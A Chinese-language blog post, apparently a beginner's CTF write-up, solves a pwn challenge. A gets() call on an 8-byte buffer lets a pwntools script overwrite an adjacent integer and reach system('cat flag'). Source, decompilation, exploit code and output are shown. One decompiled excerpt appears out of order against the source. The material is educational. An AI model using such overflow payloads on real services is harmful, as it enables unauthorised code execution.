

Nepire的pwn入门学习之旅——（一）

原创

[Nepire](#) 于 2018-02-03 00:12:53 发布 1975 收藏 2

分类专栏: [pwn](#) 文章标签: [CTF](#) [pwn](#) [题解](#) [WriteUp](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/Nepire/article/details/79244295>

版权



[pwn](#) 专栏收录该内容

2 篇文章 0 订阅

订阅专栏

欢迎大家来到Nepire的pwn入门, 本系列主要是通过CTF中pwn题的各种类型的解题过程来学习pwn相关的知识, 让我们在pwn的世界沦陷吧呜喵~

这次我要讲的是南邮CTF里的pwn50—When did you born? 这是我最初做出来的几题pwn之一, 算是很基础的pwn题, 所以让我们从这题开始入门吧~

题目

nc ctf.acdxvsvd.net 1926

Try not to be naive

<https://cgctf.nuptsast.com/challenges#Pwn>

WriteUp

连上去发现是让我们输入Your Birth，膜法师们自然就肯定要输入一波1926，然后得到

```
root@kali:~# nc ctf.acdxvfsvd.net 1926
What's Your Birth?
1926
You Cannot Born In 1926!
```

这时就知道了，这里肯定有点东西。

打开test.c文件查看源码，

```
1  #include <stdio.h>
2  struct Student {
3      char name[8];
4      int birth;
5  };
6  int main(void) {
7      setbuf(stdin, 0);
8      setbuf(stdout, 0);
9      setbuf(stderr, 0);
10     struct Student student;
11     printf("What's Your Birth?\n");
12     scanf("%d", &student.birth);
13     while (getchar() != '\n') ;
14     if (student.birth == 1926) {
15         printf("You Cannot Born In 1926!\n");
16         return 0;
17     }
18     printf("What's Your Name?\n");
19     gets(student.name);
20     printf("You Are Born In %d\n", student.birth);
21     if (student.birth == 1926) {
22         printf("You Shall Have Flag.\n");
23         system("cat flag");
24     } else {
25         printf("You Are Naive.\n");
26         printf("You Speed One Second Here.\n");
27     }
28     return 0;
29 }
```

发现得到flag的条件是student.birth=1926，而14行的if语句要求birth!=1926才可继续执行，这时我们在19行找到了gets，我们便可以通过栈溢出来覆盖birth的值，于是我们编译test.c后丢进ida找name和birth的偏移量

```

-----, .. -----
int v4; // [sp+14h] [bp-Ch]@5
int v5; // [sp+1Ch] [bp-4h]@1

__main();
setbuf((FILE *)__iob[0]._ptr, 0);
setbuf((FILE *)__iob[0]._ptr + 1, 0);
setbuf((FILE *)__iob[0]._ptr + 2, 0);
puts("What's Your Birth?");
scanf("%d", &v5);
while ( getchar() != 10 )
;
if ( v5 == 1926 )
{
puts("What's Your Name?");
gets((char *)&v4);
printf("You Are Born In %d\n", v5);
if ( v5 == 1926 )

```

这时我们可以算出差值为8，这时我们就可以开始构造exp

Nep_exp

```

from pwn import *
n = remote("ctf.acdxvsvd.net",1926)
payload = 'a'*8 + p32(1926)
n.recvuntil("What's Your Birth?\n")
n.sendline("2333")
n.recvuntil("What's Your Name?\n")
n.sendline(payload)
n.interactive()

```

完成，发送查看结果

```

You Are Born In 1926
You Shall Have Flag.
flag{gets is dangerous +ls}
[*] Got EOF while reading in interactive

```

get flag~

这里是，一个在学习pwn的路上不断翻滚的萌新 如果文章有什么错误的，欢迎各位dalao在下面评论回复。

——Nepire